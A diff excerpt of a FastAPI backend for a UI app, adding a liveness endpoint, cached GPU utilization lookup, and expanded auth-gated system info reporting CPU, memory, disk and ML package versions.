@ -893,6 +947,7 @@ app.include_router(inference_studio_router, prefix = "/api/inference", tags = ["
# OpenAI-compatible: mount the inference router at /v1 for external tools.
app.include_router(inference_router, prefix = "/v1", tags = ["openai-compat"])
app.include_router(preview_router, prefix = "/p", tags = ["preview"])
app.include_router(providers_router, prefix = "/api/providers", tags = ["providers"])
app.include_router(settings_router, prefix = "/api/settings", tags = ["settings"])
app.include_router(mcp_servers_router, prefix = "/api/mcp/servers", tags = ["mcp"])
@ -914,6 +969,21 @@ install_api_error_handlers(app)
# ============ Health and System Endpoints ============
@app.get("/api/liveness")
async def liveness_check():
"""Cheap process liveness for desktop port validation."""
return {
"status": "alive",
"service": "Unsloth UI Backend",
"desktop_protocol_version": 1,
"desktop_manageability_version": 1,
"supports_desktop_auth": True,
"supports_desktop_backend_ownership": True,
"studio_root_id": _studio_root_id(),
**({"desktop_owner": owner} if (owner := _desktop_owner()) else {}),
}
@app.get("/api/health")
async def health_check(request: Request):
"""Liveness plus launcher capability bits; host fingerprint gated on a bearer.
@ -1013,8 +1083,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c
return {"status": "shutting_down"}
def _get_cached_system_gpu_info(logger) -> dict[str, Any]:
"""Return merged GPU visibility/utilization with bounded live-probe churn."""
import time
from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization
global _system_gpu_cache
now = time.monotonic()
with _system_gpu_cache_lock:
if _system_gpu_cache is not None:
cached_at, cached_gpu_info = _system_gpu_cache
if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS:
return cached_gpu_info
try:
visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []}
except Exception as e:
logger.debug(f"Failed to get GPU visibility info: {e}")
visibility_info = {"available": False, "devices": []}
try:
utilization_info = get_visible_gpu_utilization() or {"devices": []}
except Exception as e:
logger.debug(f"Failed to get GPU utilization info: {e}")
utilization_info = {"devices": []}
util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])}
enriched_devices = []
for dev in visibility_info.get("devices", []):
idx = dev.get("index")
util = util_devices.get(idx, {})
total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0
used_vram = util.get("vram_used_gb") or 0
enriched_dev = dict(dev)
enriched_dev["vram_used_gb"] = used_vram
enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0
enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct")
enriched_devices.append(enriched_dev)
gpu_info = {
"available": visibility_info.get("available", False),
"devices": enriched_devices,
}
_system_gpu_cache = (time.monotonic(), gpu_info)
return gpu_info
@app.get("/api/system")
async def get_system_info(current_subject: str = Depends(get_current_subject)):
def get_system_info(current_subject: str = Depends(get_current_subject)):
"""Get system information.
Auth-gated: the response (platform, Python/GPU, memory, ML packages) can
@ -1023,31 +1142,84 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)):
"""
import platform
import psutil
from utils.hardware import get_device
import os
import time
import logging
from utils.hardware import get_device, export_capability
from utils.hardware.hardware import _backend_label
visibility_info = get_backend_visible_gpu_info()
gpu_info = {
"available": visibility_info["available"],
"devices": visibility_info["devices"],
}
logger = logging.getLogger(__name__)
gpu_info = _get_cached_system_gpu_info(logger)
# CPU & Memory
memory = psutil.virtual_memory()
try:
cpu_freq = psutil.cpu_freq()
except Exception as e:
logger.debug(f"Failed to get CPU frequency: {e}")
cpu_freq = None
try:
disk = psutil.disk_usage(os.path.abspath(os.sep))
except Exception as e:
logger.debug(f"Failed to get disk usage: {e}")
disk = None
try:
current_process = psutil.Process(os.getpid())
process_used_mb = round(current_process.memory_info().rss / 1024**2)
except Exception as e:
logger.debug(f"Failed to get current process memory: {e}")
process_used_mb = 0
try:
boot_time = psutil.boot_time()
except Exception as e:
logger.debug(f"Failed to get boot time: {e}")
boot_time = None
# Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors).
from importlib.metadata import PackageNotFoundError, version as pkg_version
ml_packages = {}
for pkg in ("torch", "transformers"):
try:
ml_packages[pkg] = pkg_version(pkg)
except PackageNotFoundError:
pass
except Exception as e:
logger.debug(f"Failed to read {pkg} version: {e}")
return {
"platform": platform.platform(),
"python_version": platform.python_version(),
# _backend_label so /api/system reports "rocm" (not "cuda") on AMD,
# matching /api/hardware and /api/gpu-visibility.
"device_backend": _backend_label(get_device()),
"cpu_count": psutil.cpu_count(),
"cpu_count": psutil.cpu_count(logical = True),
"uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None,
"cpu": {
"logical_count": psutil.cpu_count(logical = True),
"physical_count": psutil.cpu_count(logical = False),
"usage_percent": psutil.cpu_percent(interval = None),
"frequency_mhz": round(cpu_freq.current, 2)
if cpu_freq and cpu_freq.current is not None
else None,
},
"memory": {
"total_gb": round(memory.total / 1e9, 2),
"available_gb": round(memory.available / 1e9, 2),
"total_gb": round(memory.total / 1024**3, 2),
"available_gb": round(memory.available / 1024**3, 2),
"percent_used": memory.percent,
"process_used_mb": process_used_mb,
},
"disk": {
"total_gb": round(disk.total / 1e9, 2) if disk else 0,
"free_gb": round(disk.free / 1e9, 2) if disk else 0,
"percent_used": disk.percent if disk else 0,
},
"gpu": gpu_info,
"ml_packages": ml_packages,
# Export capability + torch-aware reason. See /api/system/hardware.
**export_capability(),
}
@ -1070,11 +1242,13 @@ def get_hardware_info(
method auto-selection. Sync def (not async): hardware/detail probes can
shell out, and FastAPI runs sync endpoints in a threadpool.
"""
from utils.hardware import get_gpu_summary, get_package_versions
from utils.hardware import get_gpu_summary, get_package_versions, export_capability
body = {
"gpu": get_gpu_summary(),
"versions": get_package_versions(),
# Export capability + torch-aware reason; the Export UI grays out with the message.
**export_capability(),
}
if include_details:
from utils.llama_cpp_update import get_installed_llama_version

Some files were not shown because too many files have changed in this diff Show more